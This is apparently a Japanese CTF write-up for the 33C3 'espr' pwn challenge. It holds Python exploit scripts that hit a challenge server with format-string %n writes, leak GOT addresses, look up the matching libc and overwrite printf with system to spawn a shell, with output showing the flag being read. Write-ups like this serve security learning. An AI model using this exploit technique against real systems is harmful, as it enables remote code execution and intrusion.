from minipwn import * s = socket.create_connection(('78.46.224.86', 1337)) s.settimeout(3) sendline(s, '%'+str(0x601000)+'c%40$ln') try: while True: print len(s.recv(8192)) except socket.timeout: pass sendline(s, '%66$p') print s.recv(8192), sendline(s, '%66$s') data = s.recv(8192) got_addr = u64(data.ljust(8, '\x00')) print hex(got_addr) for i in xrange(0x08, 0x60, 0x8): sendline(s, '%'+str(i)+'c%40$hhn') s.recv(8192) sendline(s, '%66$p') print s.recv(8192), sendline(s, '%66$s') data = s.recv(8192) got_addr = u64(data.ljust(8, '\x00')) print hex(got_addr)
$ python espr.py (snip) 0x601000 0x600e20 0x601008 0x7f3fb55e1168 0x601010 0x7f3fb53d28f0 0x601018 0x7f3fb4e48550 0x601020 0x7f3fb4e62030 0x601028 0x7f3fb4ebe640 0x601030 Traceback (most recent call last): File "espr.py", line 23, in <module> data = s.recv(8192) socket.timeout: timed out
アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。
次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。
$ ./find printf 550 gets 030 sleep 640 http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64) archive-glibc (id libc6_2.24-3ubuntu2_amd64) $ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system printf 0000000000056550 system 00000000000456d0
GOTのprintfをsystemに書き換え、system("/bin/sh")
を呼ぶことでシェルを起動できる。
from minipwn import * s = socket.create_connection(('78.46.224.86', 1337)) s.settimeout(3) sendline(s, '%'+str(0x601018)+'c%40$ln') try: while True: print len(s.recv(8192)) except socket.timeout: pass sendline(s, '%66$p') print s.recv(8192) sendline(s, '%66$s') data = s.recv(8192) libc_printf = u64(data.ljust(8, '\x00')) print "[+] libc_printf = %x" % libc_printf libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0 print "[+] libc_system = %x" % libc_system n = libc_system & 0xFFFFFFFF print "[+] n = %x" % n sendline(s, '%'+str(n)+'c%66$n') try: while True: print len(s.recv(8192)) except socket.timeout: pass print "[+] got a shell!" sendline(s, '/bin/sh\x00') interact(s)
$ python espr.py (snip) 0x601018 [+] libc_printf = 7f900de94550 [+] libc_system = 7f900de836d0 [+] n = de836d0 (snip) [+] got a shell! id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls espr flag run.sh cat flag 33C3_f1rst_tshirt_challenge?!
所感
他に解きたかった問題は以下。
- babyfengshui (Pwn 150)
- The 0x90s called (Pwn 150)
- rec (Pwn 200)
- someta1 (Reversing 250)
- try (Web 150)
- pay2win (Web 200)